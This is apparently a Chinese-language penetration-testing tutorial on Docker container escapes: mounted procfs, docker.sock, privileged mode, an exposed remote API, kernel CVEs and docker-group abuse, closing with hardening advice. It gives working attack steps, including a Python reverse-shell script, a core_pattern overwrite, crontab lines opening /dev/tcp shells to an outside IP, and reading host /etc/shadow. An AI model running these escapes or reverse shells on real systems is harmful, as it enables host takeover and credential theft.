和基础的后渗透思路一样,在获取 Docker 容器的权限后,我们需要对容器环境进行信息搜集,判断是否存在满足 Docker 逃逸的条件。Docker 相关的安全风险也更多集中在容器逃逸方面。
一、判断是否为容器环境
可以通过查看 cgroup 信息等方法来判断。不过查看 cgroup 目录的方法似乎只对 cgroup v1 有效,所以推荐使用查看根目录 .dockerenv 文件的方法:


确认为容器环境之后,就可以查看是否具有满足逃逸的条件了。接下来将从基础概念、环境搭建、信息搜集、漏洞利用等方面,记录几种常见的 Docker 逃逸手法。当然,如果追求效率,也可以使用开源的自动检测脚本。
项目地址:https://github.com/teamssix/container-escape-check
二、挂载宿主机 procfs 逃逸
基础概念
procfs (/proc) 是一个伪文件系统,反映了系统内进程以及其他组件的状态,其中包含很多敏感文件。
user namespace 是 Linux 的一项安全功能,允许在容器中映射和隔离用户 ID。
而在容器内默认启用 root 权限,且默认没有开启 User Namespace 时,容器中的 root 用户与宿主机的 root 用户 UID 会一致(均为 0)。在这种情况下,如果将宿主机的 procfs 挂载到不受控的容器中,则可能导致容器逃逸。这里运用到一个技巧:
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 |,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
环境搭建
创建容器并挂载宿主机的 /proc/sys/kernel/core_pattern 文件:
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
搭建完毕。
信息搜集
如果发现了两个 core_pattern 文件,则可能就是挂载了宿主机的 procfs:
find / -name core_pattern

漏洞利用
- 找到当前容器在宿主机下的绝对路径:
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

可以看到绝对路径为 /var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/work。

- 安装必要的工具:
apt-get update -y && apt-get install vim gcc -y
- 创建一个 Python 脚本用于反弹 shell:
#!/usr/bin/python3
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = 7777
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", "/dev/null")
pty.spawn("/bin/bash")
# os.remove('/tmp/.shell.py')
s.close()
if __name__ == "__main__":
main()

赋予脚本执行权限:
chmod 777 .shell.py
- 将脚本路径写入宿主机
/proc/sys/kernel/core_pattern:
echo -e "|/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/merged/tmp/.shell.py \rcore " > /host/proc/sys/kernel/core_pattern

- 在攻击机上开启监听。接下来只需要让容器崩溃触发 core dump 即可执行反弹 shell 脚本。编写一个使程序崩溃的 C 代码:
#include<stdio.h>
int main(void) { int *a = NULL; *a = 1; return 0; }

编译并执行:
gcc .crash.c -o .crash
./.crash

执行后,宿主机 /proc/sys/kernel/core_pattern 中写入的 .shell.py 脚本会被执行。
- 成功在攻击机监听到宿主机的反弹 shell:

至此,我们完成了一次利用挂载宿主机 procfs 实现的容器逃逸。这类问题在安全/渗透/逆向实践中需要特别注意。
三、挂载 Docker Socket 逃逸
基础概念
Docker Socket (/var/run/docker.sock) 是 Docker 守护进程 (dockerd) 与客户端(如 Docker CLI、Docker API)之间的主要通信接口。
若容器内部挂载了宿主的 /var/run/docker.sock 文件,就相当于获得了 Docker CLI 的完全访问权限。通过 Docker API,可以在容器内部直接管理宿主机上的 Docker 进程,最终导致容器逃逸。
环境搭建
- 创建容器并挂载
/var/run/docker.sock 文件:
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
- 进入容器并安装 Docker 命令行客户端:
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl
#官网
curl -fsSL https://get.docker.com/ | sh
#阿里云镜像
curl -fsSL https://get.docker.com -o install-docker.sh
sh install-docker.sh --mirror Aliyun

至此,环境搭建完毕。
信息搜集
直接检查是否存在 /var/run/docker.sock 文件:
ls -lah /var/run/docker.sock
若文件存在且容器内用户有访问权限,则可能存在该风险。

漏洞利用
在容器内部,利用挂载的 Docker Socket 创建一个新的容器,并将宿主机根目录挂载到新容器内部:
docker run -it -v /:/host ubuntu /bin/bash
此时可以发现 /host 目录就是宿主机的根目录:

然后通过 chroot 命令切换根目录,即完成逃逸:
chroot /host

四、privileged 特权模式逃逸
基础知识
当 Docker 容器以 --privileged 模式启动时,会获得大量额外权限,包括:
- 完全设备访问权限:可访问宿主机所有设备(如
/dev/sda, /dev/vda, /dev/tty 等)。
- 绕过 Linux Capabilities 限制:默认容器仅保留部分权限,特权模式赋予容器所有 Capabilities(包括
CAP_SYS_ADMIN)。
- 禁用安全隔离机制:包括 Seccomp、AppArmor/SELinux 的部分限制。
在这种情况下,就有可能将宿主机文件系统挂载到容器内部,从而造成逃逸。
环境搭建
- 准备一个普通用户
yuy0ung 并将其加入 docker 组(模拟有权限运行 Docker 但非 root 的用户):
sudo useradd -m -s /bin/bash yuy0ung
sudo passwd yuy0ung
sudo usermod -aG docker yuy0ung
su - yuy0ung


- 以普通用户身份,使用
--privileged=true 创建一个特权容器:
docker run --rm --privileged=true -it alpine
至此,环境搭建完毕。
信息搜集
判断是否为特权模式:
cat /proc/self/status | grep CapEff
如果容器是以特权模式启动,CapEff 对应的掩码值通常为 0000003fffffffff 或 0000001fffffffff。

可见容器确实是特权模式启动。
漏洞利用
方法一:挂载宿主机磁盘
- 查看宿主机磁盘设备:
fdisk -l

可以看到有一个 39.8G 的磁盘 /dev/vda3,这就是宿主机的文件系统。
- 将其挂载到容器内的
/test 目录:
mkdir /test && mount /dev/vda3 /test
此时已经成功挂载宿主机根目录到 /test:

- 现在可以读取或写入宿主机任意文件。例如,读取其他用户的 shadow 哈希:
cat /test/etc/shadow | grep yuy0ung

- 也可以写入定时任务来反弹 shell(需替换 IP 和端口):
echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/47.94.106.5/7777 0>&1"' >> /test/etc/crontab

等待一分钟后,成功监听到宿主机 root 权限的反弹 shell:

至此,成功逃逸。
方法二:直接 chroot
由于已将宿主机根目录挂载到了 /test,且容器 shell 本身是 root 权限,可以直接 chroot 将 /test 切换为根目录:
chroot /test

当然,拥有如此高权限后,操作方法不仅限于此,例如可以直接添加新的 root 权限用户等。
五、Docker 远程 API 未授权访问逃逸
基础知识
Docker Remote API 可以执行 Docker 命令。若因配置错误将其暴露在公网,攻击者可通过远程调用 Docker API 直接管理目标服务器的容器,进而导致逃逸。
环境搭建
将 Docker 守护进程监听在 0.0.0.0(危险操作,仅用于测试):
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
确保防火墙开放了 2375 端口。
至此,环境搭建完毕。
信息搜集
-
直接访问目标服务器的 2375 端口(如 http://x.x.x.x:2375/version),若返回 Docker 版本等信息,则表明 API 可访问。

-
或者,在本地使用 Docker 客户端尝试远程调用该 API:
docker -H tcp://x.x.x.x:2375 images

如果能成功列出镜像,则漏洞存在。
漏洞利用
此时,攻击者相当于可以任意控制目标服务器的 Docker。可以运行一个新容器,并将宿主机的根目录挂载到容器内:
docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/yuy0ung nginx:latest /bin/bash

接下来的思路就和前面类似了:
- chroot 逃逸:直接在容器内执行
chroot /yuy0ung。

- 写定时任务:在容器内向
/yuy0ung/etc/crontab 写入反弹 shell 命令。
echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1"' >> /yuy0ung/etc/crontab

至此成功获取宿主机权限。这类未授权访问问题是云原生/IaaS环境中最常见的安全隐患之一。
六、内核漏洞逃逸
简单来说,如果宿主机内核存在可利用的提权漏洞,那么容器就有可能利用该漏洞突破隔离,实现逃逸。这是因为 Docker 容器与宿主机共享内核。
这些内核漏洞通常以 CVE 编号发布,以经典的 CVE-2016-5195(脏牛 Dirty Cow)为例。其利用方法与在宿主机上进行本地提权相似。之所以能实现逃逸,正是因为 Docker 与宿主机共享内核。要触发这类漏洞,需要宿主机本身存在对应的漏洞内核。
除了脏牛,历史上还有许多内核漏洞可导致容器逃逸,例如:
- CVE-2019-16884
- CVE-2021-3493
- CVE-2021-22555
- CVE-2022-0492
- CVE-2022-0847
- CVE-2022-23222
这类漏洞的防御依赖于及时更新宿主机内核,这也是运维 & 测试工作中基础安全加固的重要一环。
七、Docker 用户组提权
此技巧严格来说属于 Linux 提权范畴,但因涉及 Docker 权限滥用并可能导致逃逸,故在此记录。
基础概念
Docker 守护进程 (dockerd) 默认需要 root 权限运行。但它有一个特性:任何属于 docker 用户组的用户,都可以通过 Docker CLI 与守护进程通信,从而间接拥有 root 级别的访问权限(因为可以通过 Docker 启动特权容器或挂载敏感目录)。
环境搭建
使用前面已创建的、加入了 docker 组的普通用户 yuy0ung 进行复现:
su - yuy0ung

至此,环境搭建完毕。
信息搜集
确认当前用户是否在 docker 组中:
id
groups

确认用户在 docker 组中,即可尝试提权。
漏洞利用
可以直接拉取一个专门用于此类提权的镜像(如 chrisfosterelli/rootplease),其原理就是自动运行一个挂载了宿主机根目录的容器并执行 chroot:
docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease

执行后,直接获得了宿主机 root 权限的 shell,实现了从普通用户到宿主机 root 的提权与逃逸。
八、针对 Docker 逃逸的防御措施
针对上述提到的各种逃逸手法,可以采取如下防御措施:
- 及时更新:保持 Docker 引擎和宿主机内核为最新版本。
- 遵循最小权限原则:
- 非必要不使用
--privileged 标志。
- 使用
--cap-drop=ALL 和 --cap-add 仅添加容器运行必需的 Linux Capabilities。
- 使用非 root 用户运行容器:尽量在启动容器时使用
--user 选项指定非特权用户。
- 谨慎处理挂载:
- 避免直接挂载宿主机敏感目录(如
/, /proc, /var/run/docker.sock)。
- 使用 Docker 数据卷 (
volumes) 或绑定挂载时,严格限制路径和权限。
- 启用用户命名空间隔离:考虑启用 Docker 的
userns-remap 功能,将容器内的 root 用户映射到宿主机上的非 root 用户。
- 保护 Docker 守护进程:
- 禁止将 Docker Socket (
/var/run/docker.sock) 挂载到容器中。
- 切勿将 Docker API 配置为监听在公网 IP (
0.0.0.0) 上。若需远程管理,应通过 SSH 隧道或配置 TLS 客户端证书认证。
- 审计用户组:严格控制被加入
docker 组的用户,仅限必要的运维人员。
参考链接
https://wiki.teamssix.com/CloudNative/
安全是一个持续对抗的过程,了解攻击手法是为了更好地进行防御。如果你对云原生环境下的攻防技术有更多兴趣,欢迎在技术社区如云栈社区进行深入的交流与探讨。